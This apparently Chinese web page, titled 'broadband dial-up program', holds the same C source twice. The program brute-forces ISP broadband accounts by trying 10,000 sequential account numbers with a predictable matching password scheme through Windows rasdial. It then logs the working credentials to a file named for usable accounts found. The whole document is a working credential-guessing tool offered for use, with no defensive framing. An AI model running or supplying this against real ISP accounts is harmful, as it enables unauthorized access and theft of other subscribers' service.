宽带拨号程序



#include<stdio.h>#include<string.h>#include<stdlib.h>int main(){int i,x;FILE *fp;     char s[50];    fp=fopen("已找到的可用账号.txt","a+");    for(i=0;i<10000;i++){sprintf(s,"rasdial 宽带连接 04310335%04d 35%04d",i,i);x=system(s);if(x==0){fprintf(fp,"04310335%04d\n",i); printf("04310335%04d可用\n",i); system("rasdial /disconnect");}elseprintf("04310335%04d不可用\n",i); }fclose(fp);    return 0;}

</pre><pre class="cpp" name="code">#include<stdio.h>#include<string.h>#include<stdlib.h>int main(){int i,x;FILE *fp;     char s[50];    fp=fopen("已找到的可用账号.txt","a+");    for(i=0;i<10000;i++){sprintf(s,"rasdial 宽带连接 04310335%04d 35%04d",i,i);x=system(s);if(x==0){fprintf(fp,"04310335%04d\n",i); printf("04310335%04d可用\n",i); system("rasdial /disconnect");}elseprintf("04310335%04d不可用\n",i); }fclose(fp);    return 0;}